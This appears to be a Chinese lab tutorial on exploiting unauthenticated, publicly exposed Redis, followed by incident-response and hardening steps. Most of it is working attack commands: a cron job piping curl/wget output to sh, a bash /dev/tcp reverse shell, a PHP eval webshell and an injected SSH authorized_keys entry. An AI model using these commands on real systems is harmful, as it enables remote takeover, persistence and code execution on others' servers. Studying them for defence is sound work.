这篇文章上次修改于 1682 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

环境准备

OS: Ubuntu Server 16
DB Ver: Redis 3

漏洞产生的条件

  1. redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
  2. 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

Redis注释掉下面两个配置即可成为漏洞环境

# bind 127.0.0.1
# requirepass  pwd_str

计划任务执行shell脚本

Kali

(echo "*/10 * * * * (curl -fsSL -m180 baidu.com||wget -q -T180 -O- baidu.com||python -c 'import urllib;print(urllib.urlopen(\"http://baidu.com\").read())')|sh")>evil.txt
cat evil.txt |redis-cli -h 10.211.55.6 -x set evil
redis-cli -h 10.211.55.6
keys *
config set dir /var/spool/cron/
config set dbfilename evil
save
(error) ERR

至此执行save命令时会报错。解决方法:

Redis Server 上尝试杀死Redis的进程,你会发现杀不掉Redis的进程

chmod 757 /var/lib/redis/dump.rdb

再次执行杀死进程的操作就行了。
此时在执行save保存成功了。

计划任务反弹shell

公网主机监听:

nc -lvnp 4444

Kali执行

redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

https://paper.seebug.org/409/

获取web服务的webshell

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save

获取远程服务器SSH

1. 事先先准备好自己的公钥,写入一个本地文件evil.txt。
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > evil.txt

2. 通过redis将该文件写入内存
redis-cli -h 192.168.1.11 flushall
cat evil.txt | redis-cli -h 192.168.1.11 -x set evil

3. 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下
redis-cli -h 192.168.1.11
config set dir /Users/kali/.ssh/
config get dir
config set dbfilename "authorized_keys"
save

4.然后就可以通过自己的私钥登陆服务器

服务器配置不当应满足如下条件:

  1. Redis服务使用ROOT账号启动
  2. Redis服务无密码认证或者使用的是弱口令进行认证
  3. 服务器开放了SSH服务,而且允许使用密钥登录

应急措施

删除前记得备份下,好溯源分析

  1. 检查用户目录下.ssh文件夹,删除攻击者的公钥
  2. 删除可疑计划任务
  3. 删除恶意进程

修复漏洞

  1. 低权限运行redis服务并禁止登录
  2. 默认只对本地开放
    bind 127.0.0.1
  3. 添加登陆密码
    requirepass www.secpulse.com
  4. 在需要对外开放的时候修改默认端口
    port 2333
  5. 最后还可以配合iptables限制开放
  6. 禁止高危命令
rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""